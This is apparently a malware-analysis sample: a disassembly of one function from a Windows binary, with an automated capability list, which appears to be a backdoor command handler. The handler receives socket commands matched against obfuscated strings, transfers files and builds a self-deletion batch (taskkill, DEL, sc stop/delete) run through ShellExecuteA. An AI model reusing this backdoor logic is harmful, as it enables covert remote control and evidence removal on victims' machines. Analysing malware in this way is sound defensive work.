Function at 0x415a8a
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Create thread
Delete file
Move file
Parse pe header
Receive data
Receive data on socket
Self delete
Send data
Send data on socket
Set file attributes
Terminate process

Disassembly:
mov eax, 0x43f7ce
call fcn.0042eda4
push ecx
mov eax, 0x206f8
call fcn.0042ffb0
mov eax, dword [0x456d70]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
push 0x442e07
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1fa08], ebx
call fcn.0040d800
push 0xf
pop esi
push ebx
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1fa24], ebx
mov dword [ebp - 0x1fa20], 0xfff937e4
mov dword [ebp - 0x1fa1c], ebx
mov dword [ebp - 0x1fa10], ebx
mov dword [ebp - 0x18], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0x154]
mov dword [ebp - 0x13c], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x104], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xb0], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x190], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x94], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x174], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xcc], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x50], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x6c], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0x100]
mov dword [ebp - 0xe8], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0x138]
mov dword [ebp - 0x120], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x158], esi
call fcn.00406f49
lea eax, [ebp - 0x1e4]
push str.gKg5XIBmK8oCYF9kRgpiP
push eax
mov byte [ebp - 4], 0xd
call fcn.00411c3b
cmp dword [eax + 0x18], 0x10
pop ecx
pop ecx
jb 0x415be1
mov eax, dword [eax + 4]
jmp 0x415be4
add eax, 4
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.0042dbd0
pop ecx
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x1e4]
call fcn.00409968
mov esi, 0xfa00
push esi
lea eax, [ebp - 0x10000]
push ebx
push eax
mov byte [ebp - 4], 0xe
call fcn.0042d760
add esp, 0xc
push ebx
push esi
lea eax, [ebp - 0x10000]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
mov dword [ebp - 0x1fa18], esi
mov byte [ebp + esi - 0x10000], bl
cmp esi, ebx
jle 0x419031
lea eax, [ebp - 0x10000]
push str.gKg5XIBmKAPhoSRuRGVhN3aqEiP
push eax
mov byte [ebp - 4], 0xf
call fcn.0042dec0
test eax, eax
pop ecx
pop ecx
jne 0x415caf
cmp dword [ebp - 0x1fa1c], ebx
mov dword [ebp - 0x1fa24], ebx
mov dword [ebp - 0x1fa20], 0xfff937e4
je 0x415c83
push dword [ebp - 0x1fa1c]
call fcn.0042fe9f
pop ecx
cmp dword [ebp - 0x1fa10], ebx
je 0x415c97
push dword [ebp - 0x1fa10]
call fcn.0042fe9f
pop ecx
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x1fa1c], ebx
mov dword [ebp - 0x1fa10], ebx
jmp 0x4160ea
lea eax, [ebp - 0x10000]
push str.gKg5XIBmK8EiKEVETqEiP
push eax
call fcn.0042dec0
test eax, eax
pop ecx
pop ecx
jne 0x415e3d
lea eax, [ebp - 0x600]
push str._c_taskkill__f__PID
push eax
call fcn.0042e20e
mov esi, eax
lea eax, [ebp - 0x600]
push eax
call fcn.0042d620
add esp, 0xc
mov byte [ebp + eax - 0x600], bl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp + esi - 0x600]
push 0x4448ec
push eax
call fcn.0042e20e
add esp, 0xc
mov edi, 0x80
push edi
push 0x45a5f0
add esi, eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push 0x45a9f0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov edi, 0x45c9f0
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push 0x45a1f0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push 0x458170
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push 0x457d70
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push 0x45c5f0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push 0x458570
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [0x45d954]
cmp eax, 0x10
mov ecx, dword [0x45d940]
jae 0x415e33
mov ecx, 0x45d940
mov eax, ecx
push ecx
push eax
push 0x459df0
push 0x45cfb0
push 0x45a1f0
push 0x45a5f0
push 0x45a9f0
push edi
push 0x458570
lea eax, [ebp + esi - 0x600]
push str._RMDIR___s___s__q__DEL__q___s____DEL__f__q___s___DEL__f___q___s___DEL__f__q___s___DEL__f__q___s___DEL__f__q___s___sc_stop__s__sc_delete__s__exit
push eax
call fcn.0042e20e
mov eax, dword [0x45d978]
add esp, 0x2c
cmp dword [0x45d98c], 0x10
jae 0x415def
mov eax, 0x45d978
push eax
push 1
call fcn.00401d67
pop ecx
pop ecx
call fcn.00410672
push ebx
push ebx
lea eax, [ebp - 0x600]
push eax
push 0x442f08
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov esi, 0x45a1f0
push esi
call fcn.004311d6
push esi
call fcn.004311d6
pop ecx
pop ecx
jmp 0x415e54
mov eax, dword [0x45d940]
jmp 0x415da6
lea eax, [ebp - 0x10000]
push str.gKg5XIBmKAPhoySJxETqEiP
push eax
call fcn.0042dec0
test eax, eax
pop ecx
pop ecx
jne 0x415e5a
push ebx
call fcn.0042e553
lea eax, [ebp - 0x10000]
push str.gKg5XIBmKwTIqIVRSVlTqEiP
push eax
call fcn.0042dec0
test eax, eax
pop ecx
pop ecx
jne 0x415e76
jmp fcn.00401ddb
cmp dword [ebp - 0x1fa24], ebx
jne 0x416093
lea eax, [ebp - 0x205ec]
push str.gKg5XIBmKoiRpxWZTVmbkpCP
push eax
call fcn.00411c3b
pop ecx
pop ecx
mov edi, eax
lea eax, [ebp - 0x10000]
push eax
lea eax, [ebp - 0x205b4]
push eax
mov byte [ebp - 4], 0x14
call fcn.00411c3b
cmp dword [edi + 0x18], 0x10
pop ecx
pop ecx
jb 0x415ebb
mov edi, dword [edi + 4]
jmp 0x415ebe
add edi, 4
cmp dword [eax + 0x18], 0x10
jb 0x415ec9
mov eax, dword [eax + 4]
jmp 0x415ecc
add eax, 4
push edi
push eax
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push 1
lea ecx, [ebp - 0x205b4]
setne byte [ebp - 0x1fa01]
call fcn.00409968
push ebx
push 1
lea ecx, [ebp - 0x205ec]
mov byte [ebp - 4], 0xf
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x416093
lea eax, [ebp - 0x10000]
push eax
lea eax, [ebp - 0x20624]
push eax
call fcn.00411c3b
pop ecx
pop ecx
or esi, 0xffffffff
push esi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x15
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x20624]
mov byte [ebp - 4], 0xf
call fcn.00409968
push esi
push ebx
push 0x443520
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x2065c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push esi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x16
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x2065c]
mov byte [ebp - 4], 0xf
call fcn.00409968
push ebx
push 0x4435e0
lea ecx, [ebp - 0x30]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x202c0]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push esi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x17
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x202c0]
call fcn.00409968
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], 0x18
jae 0x415fd0
lea eax, [ebp - 0x2c]
push eax
call fcn.00401ee8
cmp al, 1
pop ecx
jne 0x415fe8
push str..renamefile
lea ecx, [ebp - 0x30]
call fcn.0040ce51
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x415ff4
lea eax, [ebp - 0x2c]
push 0x4447dc
push eax
call fcn.00431138
pop ecx
pop ecx
mov dword [ebp - 0x1fa1c], eax
jmp 0x416080
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x1fa24], 1
jmp 0x4160ea
cmp dword [ebp - 0x1fa20], 0xfff937e4
jne 0x41611d
cmp dword [ebp - 0x1fa24], 1
jne 0x4161ec
lea eax, [ebp - 0x10000]
push eax
lea eax, [ebp - 0x203a0]
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], 0x10
pop ecx
pop ecx
jb 0x4160cc
mov eax, dword [eax + 4]
jmp 0x4160cf
add eax, 4
push eax
call fcn.0042f5ef
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x203a0]
mov dword [ebp - 0x1fa20], eax
call fcn.00409968
mov byte [ebp - 4], 0xe
jmp 0x418da4
cmp dword [ebp - 0x1fa24], 1
jne 0x4161ec
push dword [ebp - 0x1fa1c]
lea eax, [ebp - 0x10000]
push 1
push esi
push eax
call fcn.0042f9f9
sub dword [ebp - 0x1fa20], esi
push 0x1e
lea eax, [ebp - 0x1c8]
push ebx
push eax
call fcn.0042d760
lea eax, [ebp - 0x90]
push eax
push esi
lea eax, [ebp - 0x1c8]
push str._d:_s:
push eax
call fcn.0042e20e
add esp, 0x2c
lea eax, [ebp - 0x1c8]
push ebx
push eax
call fcn.0042d620
pop ecx
push eax
lea eax, [ebp - 0x1c8]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push 0x1e
lea eax, [ebp - 0x1c8]
push ebx
push eax
call fcn.0042d760
add esp, 0xc
cmp dword [ebp - 0x1fa20], ebx
jg 0x418e77
push ebx
mov esi, str.gKg5XIBmKgKqMEbvNXZGlGblpiK
push esi
mov dword [ebp - 0x1fa24], ebx
mov dword [ebp - 0x1fa20], 0xfff937e4
call fcn.0042d620
pop ecx
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push dword [ebp - 0x1fa1c]
call fcn.0042fe9f
pop ecx
mov dword [ebp - 0x1fa1c], ebx
jmp 0x418e77
lea eax, [ebp - 0x20100]
push str.gKg5XIBmKq8Ecl5GUGpyW
push eax
mov dword [ebp - 4], 0xe
call fcn.00411c3b
pop ecx
pop ecx
mov esi, eax
lea eax, [ebp - 0x10000]
push eax
lea eax, [ebp - 0x1fb50]
push eax
mov byte [ebp - 4], 0x1c
call fcn.00411c3b
pop ecx
pop ecx
push 0x10
pop edi
cmp dword [esi + 0x18], edi
jb 0x41622e
mov esi, dword [esi + 4]
jmp 0x416231
add esi, 4
cmp dword [eax + 0x18], edi
jb 0x41623b
mov eax, dword [eax + 4]
jmp 0x41623e
add eax, 4
push esi
push eax
call fcn.00431150
pop ecx
test eax, eax
pop ecx
setne byte [ebp - 0x1fa01]
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x1fb50]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x20100]
mov byte [ebp - 4], 0xe
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x4166a0
lea eax, [ebp - 0x10000]
push eax
lea eax, [ebp - 0x1fb88]
push eax
call fcn.00411c3b
pop ecx
pop ecx
or edi, 0xffffffff
push edi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x1d
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x1fb88]
mov byte [ebp - 4], 0xe
call fcn.00409968
push edi
push ebx
mov esi, 0x44477c
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x20608]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x1e
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x20608]
mov byte [ebp - 4], 0xe
call fcn.00409968
push edi
push ebx
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1fbc0]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push edi
push ebx
push eax
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 0x1f
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1fbc0]
mov byte [ebp - 4], 0xe
call fcn.00409968
push ebx
mov edi, 0x444778
push edi
lea ecx, [ebp - 0x11c]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x20138]
push eax
lea ecx, [ebp - 0x11c]
call fcn.0040d832
mov byte [ebp - 4], 0x20
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x11c]
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x20138]
mov byte [ebp - 4], 0xe
call fcn.00409968
push 0xffffffffffffffff
push ebx
mov esi, 0x443518
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1fbf8]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x21
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1fbf8]
mov byte [ebp - 4], 0xe
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x30]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x203d8]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x22
call fcn.0040c660
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x203d8]
mov byte [ebp - 4], 0xe
call fcn.00409968
push ebx
push edi
lea ecx, [ebp - 0xc8]
call fcn.004092d0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1fa0c], esp
push eax
push ebx
push ecx
lea ecx, [ebp - 0xc8]
call fcn.0040d832
lea eax, [ebp - 0x1fc30]
push eax
call fcn.0040e411
add esp, 0x20
or edi, 0xffffffff
push edi
push ebx
push eax
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x23
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x1fc30]
mov byte [ebp - 4], 0xe
call fcn.00409968
push 0x443620
lea ecx, [ebp - 0x11c]
call fcn.00409823
push esi
sub esp, 0x1c
cmp eax, ebx
mov dword [ebp - 0x1fa0c], esp
mov ecx, esp
push 0x4435e0
jne 0x41656c
call fcn.0040d800
sub esp, 0x1c
lea eax, [ebp - 0xc8]
mov ecx, esp
mov dword [ebp - 0x1fa14], esp
push eax
mov byte [ebp - 4], 0x24
call fcn.0040d2ff
mov byte [ebp - 4], 0xe
call fcn.0040b59e
add esp, 0x3c
cmp eax, ebx
jbe 0x416545
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20170]
push str.__c__
push eax
call fcn.0040e1e2
add esp, 0xc
push edi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x25
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x20170]
mov byte [ebp - 4], 0xe
call fcn.00409968
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x1fc68]
push 0x44476c
push eax
call fcn.0040e1e2
add esp, 0xc
push edi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x26
call fcn.0040ba68
push ebx
push esi
lea ecx, [ebp - 0x1fc68]
mov byte [ebp - 4], 0xe
call fcn.00409968
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41653f
lea eax, [ebp - 0x2c]
push ebx
jmp 0x416620
cmp dword [ebp - 0xb0], 0x10
mov ecx, dword [ebp - 0xc4]
jae 0x41655a
lea ecx, [ebp - 0xc4]
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x416566
lea eax, [ebp - 0x2c]
push ebx
jmp 0x41664b
call fcn.0040d800
sub esp, 0x1c
lea eax, [ebp - 0xc8]
mov ecx, esp
mov dword [ebp - 0x1fa14], esp
push eax
mov byte [ebp - 4], 0x27
call fcn.0040d2ff
mov byte [ebp - 4], 0xe
call fcn.0040b59e
add esp, 0x3c
cmp eax, ebx
jbe 0x416629
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x20528]
push str.__c__
push eax
call fcn.0040e1e2
add esp, 0xc
push edi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x28
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x20528]
mov byte [ebp - 4], 0xe
call fcn.00409968
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x1fca0]
push 0x44476c
push eax
call fcn.0040e1e2
add esp, 0xc
push edi
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x29
call fcn.0040ba68
push ebx
push esi
lea ecx, [ebp - 0x1fca0]
mov byte [ebp - 4], 0xe
call fcn.00409968
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41661f
lea eax, [ebp - 0x2c]
push esi
push ebx
push eax
push 0x442f08
jmp 0x41664e
cmp dword [ebp - 0xb0], 0x10
mov ecx, dword [ebp - 0xc4]
jae 0x41663e
lea ecx, [ebp - 0xc4]
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41664a
lea eax, [ebp - 0x2c]
push esi
push ebx
push ecx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
push ebx
lea ecx, [ebp - 0x30]
call fcn.00409a0d
push ebx
push ebx
lea ecx, [ebp - 0x30]
call fcn.0040b845
push edi
push ebx
lea ecx, [ebp - 0xc8]
call fcn.00409a0d
push ebx
push ebx
lea ecx, [ebp - 0xc8]
call fcn.0040b845
push edi
push ebx
lea ecx, [ebp - 0x11c]
call fcn.00409a0d
lea ecx, [ebp - 0x11c]
jmp 0x418d99
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x4c]
call fcn.00409a0d
lea eax, [ebp - 0x10000]
push eax
lea eax, [ebp - 0x201a8]
push eax
call fcn.00411c3b
pop ecx
pop ecx
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x2a
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x201a8]
mov byte [ebp - 4], 0xe
call fcn.00409968
lea eax, [ebp - 0x20448]
push str.gKg5XIBmKgKHVGdEJXa2V2cG9GbkVmc
push eax
call fcn.00411c3b
pop ecx
pop ecx
or dword [ebp - 0x1fa08], esi
cmp dword [eax + 0x18], edi
mov byte [ebp - 4], 0x2b
jb 0x416708
mov eax, dword [eax + 4]
jmp 0x41670b
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x416716
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x4169b7
lea eax, [ebp - 0x1fdb8]
push str.gKg5XIBmKqwUazRHUy92YlN3c
push eax
call fcn.00411c3b
pop ecx
pop ecx
or dword [ebp - 0x1fa08], 2
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x2c
jb 0x416752
mov eax, dword [eax + 4]
jmp 0x416755
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x416760
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x4169b7
lea eax, [ebp - 0x20218]
push str.gKg5XIBmKqsUasxGUy92YlN3c
push eax
call fcn.00411c3b
pop ecx
pop ecx
or dword [ebp - 0x1fa08], 4
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x2d
jb 0x41679c
mov eax, dword [eax + 4]
jmp 0x41679f
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x4167aa
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x4169b7
lea eax, [ebp - 0x1fd80]
push str.gKg5XIBmKqcUZ0RkcpZXZzpCP
push eax
call fcn.00411c3b
pop ecx
pop ecx
or dword [ebp - 0x1fa08], 8
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x2e
jb 0x4167e6
mov eax, dword [eax + 4]
jmp 0x4167e9
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x4167f4
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x4169b7
lea eax, [ebp - 0x205d0]
push str.gKg5XIBmKqIVduNUbkpCf
push eax
call fcn.00411c3b
pop ecx
pop ecx
or dword [ebp - 0x1fa08], edi
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x2f
jb 0x41682f
mov eax, dword [eax + 4]
jmp 0x416832
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x41683d
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x4169b7
lea eax, [ebp - 0x1fd48]
push str.gKg5XIBmKgKF5WdtdVauR2b3NnK
push eax
call fcn.00411c3b
pop ecx
pop ecx
or dword [ebp - 0x1fa08], 0x20
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x30
jb 0x416879
mov eax, dword [eax + 4]
jmp 0x41687c
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x416887
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x4169b7
lea eax, [ebp - 0x201e0]
push str.gKg5XIBmKgKF5WdttUZ5NnK
push eax
call fcn.00411c3b
pop ecx
pop ecx
or dword [ebp - 0x1fa08], 0x40
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x31
jb 0x4168c3
mov eax, dword [eax + 4]
jmp 0x4168c6
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x4168d1
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x4169b7
lea eax, [ebp - 0x1fd10]
push str.gKg5XIBmKoSRuVXbS92b0tUZ5NnK
push eax
call fcn.00411c3b
pop ecx
pop ecx
or byte [ebp - 0x1fa08], 0x80
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x32
jb 0x41690d
mov eax, dword [eax + 4]
jmp 0x416910
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x41691b
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x4169b7
lea eax, [ebp - 0x20410]
push str.gKg5XIBmKgKHVGdSV2ZWFGb1VmK
push eax
call fcn.00411c3b
pop ecx
pop ecx
or byte [ebp - 0x1fa07], 1
cmp dword [eax + 0x18], edi
mov dword [ebp - 4], 0x33
jb 0x416957
mov eax, dword [eax + 4]
jmp 0x41695a
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x416965
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
jne 0x4169b7
lea eax, [ebp - 0x1fcd8]
push str.gKg5XIBmKqQVZs5WZ0pCP
push eax
call fcn.00411c3b
or byte [ebp - 0x1fa07], 2
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x416996
mov eax, dword [eax + 4]
jmp 0x416999
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x4169a4
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
test eax, eax
pop ecx
pop ecx
mov byte [ebp - 0x1fa01], bl
je 0x4169be
mov byte [ebp - 0x1fa01], 1
test byte [ebp - 0x1fa07], 2
je 0x4169db
and byte [ebp - 0x1fa07], 0xfd
push ebx
push esi
lea ecx, [ebp - 0x1fcd8]
call fcn.00409968
test byte [ebp - 0x1fa07], 1
je 0x4169f8
and byte [ebp - 0x1fa07], 0xfe
push ebx
push esi
lea ecx, [ebp - 0x20410]
call fcn.00409968
test byte [ebp - 0x1fa08], 0x80
je 0x416a15
and byte [ebp - 0x1fa08], 0x7f
push ebx
push esi
lea ecx, [ebp - 0x1fd10]
call fcn.00409968
test byte [ebp - 0x1fa08], 0x40
je 0x416a32
and dword [ebp - 0x1fa08], 0xffffffbf
push ebx
push esi
lea ecx, [ebp - 0x201e0]
call fcn.00409968
test byte [ebp - 0x1fa08], 0x20
je 0x416a4f
and dword [ebp - 0x1fa08], 0xffffffdf
push ebx
push esi
lea ecx, [ebp - 0x1fd48]
call fcn.00409968
test byte [ebp - 0x1fa08], 0x10
je 0x416a6c
and dword [ebp - 0x1fa08], 0xffffffef
push ebx
push esi
lea ecx, [ebp - 0x205d0]
call fcn.00409968
test byte [ebp - 0x1fa08], 8
je 0x416a89
and dword [ebp - 0x1fa08], 0xfffffff7
push ebx
push esi
lea ecx, [ebp - 0x1fd80]
call fcn.00409968
test byte [ebp - 0x1fa08], 4
je 0x416aa6
and dword [ebp - 0x1fa08], 0xfffffffb
push ebx
push esi
lea ecx, [ebp - 0x20218]
call fcn.00409968
test byte [ebp - 0x1fa08], 2
je 0x416ac3
and dword [ebp - 0x1fa08], 0xfffffffd
push ebx
push esi
lea ecx, [ebp - 0x1fdb8]
call fcn.00409968
test byte [ebp - 0x1fa08], 1
mov dword [ebp - 4], 0xe
je 0x416ae7
and dword [ebp - 0x1fa08], 0xfffffffe
push ebx
push esi
lea ecx, [ebp - 0x20448]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x4176e1
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040c660
push ebx
push ebx
lea ecx, [ebp - 0x84]
call fcn.0040b845
push 0x442e07
lea ecx, [ebp - 0x84]
call fcn.0040d325
lea eax, [ebp - 0x1fdf0]
push str.gKg5XIBmKqIVduNUbkpCf
push eax
call fcn.00411c3b
cmp dword [eax + 0x18], edi
pop ecx
pop ecx
jb 0x416b3c
mov eax, dword [eax + 4]
jmp 0x416b3f
add eax, 4
cmp dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x48]
jae 0x416b4a
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.00431150
pop ecx
pop ecx
push ebx
test eax, eax
push esi
lea ecx, [ebp - 0x1fdf0]
setne byte [ebp - 0x1fa01]
call fcn.00409968
cmp byte [ebp - 0x1fa01], bl
je 0x416d9a
push 0xffffffffffffffff
push ebx
mov edi, 0x443518
push edi
lea ecx, [ebp - 0x68]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x20250]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x34
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x20250]
mov byte [ebp - 4], 0xe
call fcn.00409968
push 0xffffffffffffffff
push ebx
mov esi, 0x4435e4
push esi
lea ecx, [ebp - 0x68]
call fcn.004092d0
inc eax
push eax
lea eax, [ebp - 0x1fe28]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x35
call fcn.0040c660
push ebx
push 1
lea ecx, [ebp - 0x1fe28]
mov byte [ebp - 4], 0xe
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x84]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x20560]
push eax
lea ecx, [ebp - 0x84]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x36
call fcn.0040c660
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x20560]
mov byte [ebp - 4], 0xe
call fcn.00409968
push ebx
push edi
lea ecx, [ebp - 0x68]
call fcn.004092d0
push eax
push ebx
lea eax, [ebp - 0x1fe60]
push eax
lea ecx, [ebp - 0x68]
call fcn.0040d832
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x37
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x1fe60]
mov byte [ebp - 4], 0xe
